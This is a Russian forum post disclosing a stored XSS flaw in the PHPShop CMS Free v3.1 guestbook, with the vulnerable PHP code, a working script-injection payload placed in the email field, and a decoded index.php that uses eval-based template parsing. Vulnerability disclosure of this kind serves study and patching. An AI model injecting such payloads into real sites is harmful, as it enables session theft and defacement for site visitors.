|
Участник форума
Регистрация: 25.11.2009
Сообщений: 201
С нами:
8663063
Репутация:
226
|
|
PHPShop CMS Free v.3.1
http://www.phpshopcms.ru/
Active XSS
PHP код:
// Запись отзыва в базу
function WriteGbook()
{
global $LoadItems,$SysValue,$REMOTE_ADDR,$SERVER_NAME;
// Подключаем библиотеку отправки почты
PHPShopObj::loadClass("mail");
if(isset($_POST['send_gb']))
{
if(!preg_match("/@/",$_POST['mail_new']))//проверка почты
{
$_POST['mail_new']="";
}
if(@$_POST['name_new']!="" and @$_POST['otsiv_new']!="" and @$_POST['tema_new']!="")
{
$name_new=PHPShopSecurity::TotalClean($_POST['name_new'],2);
$otsiv_new=PHPShopSecurity::TotalClean($_POST['otsiv_new'],2);
$tema_new=PHPShopSecurity::TotalClean($_POST['tema_new'],2);
$mail_new=addslashes($_POST['mail_new']);
$date = date("d.m.y");
$ip=$REMOTE_ADDR;
$sql="INSERT INTO ".$SysValue['base']['table_name7']."
VALUES ('','$date','$name_new','$mail_new','$tema_new','$otsiv_new','','0')";
mysql_query($sql)or @die($sql."Невозможно добавить к базе");
$zag=$LoadItems['System']['name']." - Уведомление о добалении отзыва / ".date("d-m-y");
$message="
Доброго времени!
---------------
С сайта ".$LoadItems['System']['name']." пришло уведомление о добалении отзыва
в гостевую книгу.
Данные о пользователе:
----------------------
Имя: ".@$name_new."
E-mail: ".@$mail_new."
Тема сообщения: ".@$tema_new."
Сообщение: ".@$otsiv_new."
Дата: ".date("d-m-y H:s a")."
IP: ".$REMOTE_ADDR."
---------------
С уважением,
Компания ".$LoadItems['System']['company']."
http://".$SERVER_NAME;
$PHPShopMail = new PHPShopMail($LoadItems['System']['adminmail2'],$mail_new,$zag,$message);
}
}
}
Код:
Проверка email только на @
if(!preg_match("/@/",$_POST['mail_new'])){
}
http://localhost/phpshop/gbook_forma/
POST: mail_new
mail_new = "><script>alert(1)</script>@<"
Расшифровал index.php если кому интересно
PHP код:
<?
session_start();
error_reporting(0);
if (file_exists("./cnstats/index.php"))
include ("./cnstats/cnt.php");
function ParseTemplate($TemplateName)
{
global $SysValue, $_SESSION, $PHP_SELF, $_ENV;
$file = newGetFile($SysValue['dir']['templates'] . chr(47) . $_SESSION['skin'] .
chr(47) . $TemplateName);
$string = newParser($file);
$path_parts = pathinfo($PHP_SELF);
if (getenv("COMSPEC"))
$dirSlesh = "\\";
else
$dirSlesh = "/";
$root = $path_parts['dirname'] . "/";
if ($path_parts['dirname'] != $dirSlesh) {
$replaces = array("/images\//i" => $SysValue['dir']['templates'] . chr(47) . $_SESSION['skin'] .
"/images/", "/\/favicon.ico/i" => $root . "favicon.ico", "/java\//i" => $root .
"java/", "/css\//i" => $root . "css/", "/phpshop\//i" => $root . "phpshop/", "/\/links\//i" =>
$root . "links/", "/\/files\//i" => $root . "files/", "/\/opros\//i" => $root .
"opros/", "/\/page\//i" => $root . "page/", "/\/news\//i" => $root . "news/", "/\/gbook\//i" =>
$root . "gbook/", "/\/search\//i" => $root . "search/", "/\"\/\"/i" => $root, "/\/map\//i" =>
$root . "map/", "/\/rss\//i" => $root . "rss/", );
} else {
$replaces = array("/images\//i" => $SysValue['dir']['templates'] . chr(47) . $_SESSION['skin'] .
"/images/", "/java\//i" => "/java/", "/css\//i" => "/css/", "/phpshop\//i" =>
"/phpshop/", );
}
$string = preg_replace(array_keys($replaces), array_values($replaces), $string);
echo $string;
}
function ParseTemplateReturn($TemplateName)
{
global $SysValue, $LoadItems, $_SESSION;
$SysValue = $GLOBALS['SysValue'];
$file = newGetFile($SysValue['dir']['templates'] . chr(47) . $_SESSION['skin'] .
chr(47) . $TemplateName);
$dis = newParser($file);
return @$dis;
}
function ConstantS($string)
{
return @preg_replace_callback("/@([[:alnum:]]+)@/", "ConstantR", $string);
}
function allowedFunctions($str)
{
$allowFunctions = array('if', 'else', 'swicth', 'for', 'foreach', 'phpinfo',
'echo', 'print', 'print_r');
$allowFunctions = array_merge($allowFunctions, explode(',', $GLOBALS['SysValue']['function']['allowed']));
preg_match_all('/\s*([A-Za-z0-9_]+)\s*\(/isU', $str, $findedFunctions);
$remElements = array_diff($findedFunctions[1], $allowFunctions);
if (count($remElements) > 0) {
echo ('<br><br><b>В шаблоне обнаружена запрещенная функция</b><br>');
echo ('Список найденных запрещенных функций:');
echo ('<pre>');
foreach ($remElements as $remElement) {
echo ($remElement . '()<br>');
}
echo ('</pre><br>');
echo ('Список разрешенных функций (добавить свою функцию можно в config.ini):');
echo ('<pre>');
foreach ($allowFunctions as $allowFunction) {
echo ($allowFunction . '()<br>');
}
echo ('<br>');
echo ('</pre><br>');
return false;
} else {
return true;
}
}
function evalstr($str)
{
ob_start();
if (eval(stripslashes($str[2])) !== null) {
echo ('<center style="color:red"><br><br><b>PHPShop Template Code: В шаблоне обнаружена ошибка выполнения php</b><br>');
echo ('Код содержащий ошибки:');
echo ('<pre>');
echo ($str[2]);
echo ('</pre></center>');
return ob_get_clean();
}
return ob_get_clean();
}
function newParser($string)
{
global $SysValue;
$newstring = @preg_replace_callback("/(@php)(.*)(php@)/sU", "evalstr", $string);
$newstring = @preg_replace("/@([[:alnum:]]+)@/e", '$SysValue["other"]["\1"]', $newstring);
return $newstring;
}
function ConstantR($array)
{
global $SysValue;
if (!empty($SysValue['other'][$array[1]]))
$string = $SysValue['other'][$array[1]];
else
$string = null;
return $string;
}
function newGetFile($path)
{
$file = @file_get_contents($path);
if (!$file)
return false;
return $file;
}
$time = explode(' ', microtime());
$start_time = $time[1] + $time[0];
include ("./phpshop/class/base.class.php");
$PHPShopBase = new PHPShopBase("./phpshop/inc/config.ini");
$RegTo['RegisteredTo'] = "PHPShop CMS Free";
$RegTo['CopyrightEnabled'] = "Yes";
$RegTo['DomenLocked'] = "No";
$RegTo['CopyrightColor'] = "6A7EA1";
$RegTo['SupportExpires'] = "0";
include ($SysValue['file']['error']);
if (empty($GLOBALS['p']))
$GLOBALS['p'] = 1;
if ($SysValue['my']['gzip'] == "true")
include ($SysValue['file']['gzip']);
include ($SysValue['class']['obj']);
include ($SysValue['class']['array']);
include ($SysValue['class']['category']);
include ($SysValue['class']['system']);
include ($SysValue['class']['page']);
include ($SysValue['class']['photo']);
include ($SysValue['class']['nav']);
include ($SysValue['class']['security']);
$PHPShopSystem = new PHPShopSystem();
$LoadItems['System'] = $PHPShopSystem->getArray();
$PHPShopNav = new PHPShopNav();
include ($SysValue['file']['engine']);
include ($SysValue['file']['catalog']);
include ($SysValue['file']['news']);
include ($SysValue['file']['subnews']);
include ($SysValue['file']['baner']);
include ($SysValue['file']['cache']);
include ($SysValue['file']['opros']);
if ($LoadItems['System']['spec_num'] == 1) {
if (isset($_REQUEST['skin'])) {
if (file_exists("phpshop/templates/" . $_REQUEST['skin'] . "/index.html")) {
$skin = $_REQUEST['skin'];
session_register('skin');
}
} elseif (empty($_SESSION['skin'])) {
$skin = $LoadItems['System']['skin'];
session_register('skin');
}
$SysValue['other']['skinSelect'] = Skin_select($_SESSION['skin']);
} else {
$skin = $LoadItems['System']['skin'];
session_register('skin');
}
$LoadItems = CacheReturn();
foreach (@$SysValue['autoload'] as $val)
if (file_exists($val))
include_once ($val);
function GetFileInstall()
{
global $SysValue;
$filename = "./install/";
if (is_dir($filename))
exit(PHPSHOP_error(105, $SysValue['my']['error_tracer']));
}
if (!getenv("COMSPEC"))
$GetFileInstall = GetFileInstall();
if ((isset($_GET['nav'])) && ($_GET['nav'] == "page")) {
$Check_page_skin = Check_page_skin($_GET['name']);
if ($Check_page_skin != "") {
$skin = $Check_page_skin;
session_register('skin');
} elseif ($LoadItems['System']['spec_num'] != 1) {
$skin = $LoadItems['System']['skin'];
session_register('skin');
}
}
if (isset($_POST['skin']))
header("Location: " . htmlspecialchars($REQUEST_URI));
include ($SysValue['file']['meta']);
$SysValue['other']['ProductName'] = $SysValue['license']['product_name'];
include ($SysValue['file']['autoload']);
$time = explode(' ', microtime());
$seconds = ($time[1] + $time[0] - $start_time);
$seconds = substr($seconds, 0, 6);
echo "<!-- StNF " . $SysValue['sql']['num'] . " ~ $seconds -->";
if ($SysValue['my']['gzip'] == "true")
GzDocOut($SysValue['my']['gzip_level'], $SysValue['my']['gzip_debug']); ?>
Последний раз редактировалось Seravin; 15.03.2010 в 17:34..
|